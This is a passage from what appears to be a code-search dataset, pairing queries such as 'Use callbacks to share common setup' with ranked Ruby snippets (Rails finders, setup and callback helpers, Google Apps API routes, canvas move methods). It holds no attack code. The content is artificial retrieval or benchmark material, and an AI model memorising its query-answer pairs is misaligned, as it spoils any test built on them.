Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "f82e40350dbeb51619d16e42249707c9", "score": "0.0", "text": "def set_timer\n @timer = Timer.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
4ae30f2df4db6675327c331684ae7fa8
Move each of the items given by +tag_or_id+ in the canvas coordinate space by adding +x_amount+ to the xcoordinate of each point associated with the item and +y_amount+ to the ycoordinate of each point associated with the item. This command returns nil.
[ { "docid": "16abc94e5851aaefd09bcfc09f047cb8", "score": "0.6891906", "text": "def move(tag_or_id, x_amount, y_amount)\n execute_only(:move, tag_or_id, x_amount, y_amount)\n end", "title": "" } ]
[ { "docid": "16253327eb7057f7d44b09055d551e3b", "score": "0.62533754", "text": "def move_by *args\n @real_point = nil\n incremental_position = parse_position *args\n @position[:x] += incremental_position[:x] if (incremental_position.key? :x)\n @position[:y] += incremental_position[:y] if (incremental_position.key? :y)\n return get_position\n end", "title": "" }, { "docid": "cbad3b33e9c66db8ccacc51ab65d49a3", "score": "0.61674863", "text": "def special_move_action(boxlist, px, py, dx, dy)\n\t\tm, i = find(px, py)\n\t\treturn false unless m\n\t\tif i == 0\n\t\t\tm.x += dx\n\t\t\tm.y += dy\n\t\telsif i == 1\n\t\t\tm.x1 += dx\n\t\t\tm.y1 += dy\n\t\telse\n\t\t\tm.x2 += dx\n\t\t\tm.y2 += dy\n\t\tend\n\t\tif m.class == Path_T\n\t\t\ti = self.nodes.index(m)\n\t\t\tp = self.nodes[i - 1]\n\t\t\tif (m.x1 == p.x && m.y1 == p.y) && (m.x2 == m.x && m.y2 == m.y)\n\t\t\t\tself.nodes[i] = Path_P.new(m.x, m.y)\n\t\t\tend\n\t\tend\n\t\tboxlist << @bbox\n\t\t@nil_draw = @box_needs_fix = true\n\tend", "title": "" }, { "docid": "6d2b9575c8e2e21fa7a6bbee172e0dac", "score": "0.61375993", "text": "def move d\n return unless d.is_a? Array and d.size == 2\n \n @map.each do |a| \n a.each do |t| \n if t\n t.x +=d[0]\n t.y +=d[1]\n end\n end\n end\n\n @x += d[0]\n @y += d[1]\n \n get_drawable_grid\n end", "title": "" }, { "docid": "7f6c58f13bf014f7fcfc60e1671891df", "score": "0.5999756", "text": "def special_move_action(boxlist, px, py, dx, dy)\n\t\tx2 = @x + @width\n\t\ty2 = @y + @height\n\t\tcd = connect_dist ** 2\n\t\th = false\n\t\tif Pet.distance_line_segment_point_squared(@x, @y, @x, y2, px, py) < cd\n\t\t\t@x += dx\n\t\t\th = true\n\t\telsif Pet.distance_line_segment_point_squared(x2, @y, x2, y2, px, py) < cd\n\t\t\tx2 += dx\n\t\t\th = true\n\t\tend\n\t\tif Pet.distance_line_segment_point_squared(@x, @y, x2, y, px, py) < cd\n\t\t\t@y += dy\n\t\t\th = true\n\t\telsif Pet.distance_line_segment_point_squared(@x, y2, x2, y2, px, py) < cd\n\t\t\ty2 += dy\n\t\t\th = true\n\t\tend\n\t\tif h \n\t\t\t@width = x2 - @x\n\t\t\t@height = y2 - @y\n\t\t\tif @width == 0 || @height == 0\n\t\t\t\t@state = State::Deleted\n\t\t\t\tboxlist << @bbox \n\t\t\telse\n\t\t\t\tboxlist << @bbox \n\t\t\t\t@box_needs_fix = true\n\t\t\t\t@nil_draw = true\n\t\t\tend\n\t\tend\n\t\th\n\tend", "title": "" }, { "docid": "3f6e8e1045e4c4ef5ee54931417762bf", "score": "0.5876554", "text": "def move(x_amount, y_amount, z_amount = 0)\n @coordinates[:x] += x_amount\n @coordinates[:y] += y_amount\n @coordinates[:z] += z_amount\n self\n end", "title": "" }, { "docid": "9ae9f80fb3d7252630b63bdf10fbc6d3", "score": "0.5836651", "text": "def relocate_all_elements(dx, dy)\n @cur_x += dx\n @cur_y += dy\n\n @shadow_bar.x += dx\n @shadow_bar.y += dy\n @time_icon_bar.x += dx\n @time_icon_bar.y += dy\n @text_bar.x += dx\n @text_bar.y += dy\n if @battler_face\n @battler_face.x += dx\n @battler_face.y += dy\n end\n end", "title": "" }, { "docid": "7cc614a61bbca0f2b11f3b177d114f84", "score": "0.58183086", "text": "def move_to!(x, y)\n update_attributes(position_x: x, position_y: y)\n end", "title": "" }, { "docid": "708132d330efc13737cb8c4df5cd3245", "score": "0.5812631", "text": "def move\n surroundings.view\n @x += 1\n @y += 1\n end", "title": "" }, { "docid": "6922dd62fa37fd74d331ebfec0516243", "score": "0.5797428", "text": "def move_to!(x, y)\n \t self.update_attributes(position_x: x, position_y: y)\n \tend", "title": "" }, { "docid": "cdf7b1ac7fe81152b3cef7bc15afa493", "score": "0.578798", "text": "def moveTo x, y\n\n\tend", "title": "" }, { "docid": "35b77b07beceef5225f882a945a862f3", "score": "0.57851285", "text": "def move_to(x, y); end", "title": "" }, { "docid": "271df29b3dc8ed693bbb2d3a037cfd04", "score": "0.5781245", "text": "def move x, y; @x += x; @y += y; end", "title": "" }, { "docid": "32260ad5b852b80f6bcc6a39fe4c077f", "score": "0.57807904", "text": "def move\n x1, y1 = MOVE[@dir]\n @x = @x + x1\n @y = @y + y1\n end", "title": "" }, { "docid": "5811c746f723f00fbd37cbff225c7d97", "score": "0.5728144", "text": "def move(x, y)\n @entity.attr({ :x => x, :y => y })\n end", "title": "" }, { "docid": "acdee4c1ff6ce979de084f0400a2d15b", "score": "0.57212275", "text": "def move(x: 0, y: 